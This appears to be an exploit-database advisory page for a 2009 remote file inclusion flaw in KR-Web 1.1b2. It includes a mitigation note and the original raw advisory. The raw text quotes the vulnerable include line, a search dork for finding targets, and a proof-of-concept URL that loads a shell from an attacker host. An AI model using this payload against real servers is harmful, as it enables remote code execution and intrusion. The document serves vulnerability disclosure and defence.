header-logo
Suggest Exploit
vendor:
KR-Web
by:
cr4wl3r
7.5
CVSS
HIGH
Remote File Include
98
CWE
Product Name: KR-Web
Affected Version From: 1.1b2
Affected Version To: 1.1b2
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

KR-Web <= 1.1b2 Remote File Include Vulnerability

KR-Web version 1.1b2 is vulnerable to a Remote File Include vulnerability. The vulnerability exists in the file krgourl.php, located in the adm directory. The vulnerable code is on line 2, where the variable $DOCUMENT_ROOT is included without any sanitization. An attacker can exploit this vulnerability by sending a malicious URL in the DOCUMENT_ROOT parameter. This will allow the attacker to execute arbitrary code on the vulnerable server.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all user input is properly sanitized and validated before being used in any include statement.
Source

Exploit-DB raw data:

   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#KR-Web <= 1.1b2 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/krw/files/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./KR-Web-1.1b2/adm/krgourl.php (line 2)
#       <?php
#          include "$DOCUMENT_ROOT/paths.inc"; 
#       ?>
#PoC  :  http://server/[path]/adm/krgourl.php?DOCUMENT_ROOT=http://attacker.com/shell.txt?cmd
#
#
#
########################################################################
#Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#        dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  sekuritionline.net          #
#   all member at  manadocoding.net            #
\##############################################/

   [ Gorontalo / 2009 ]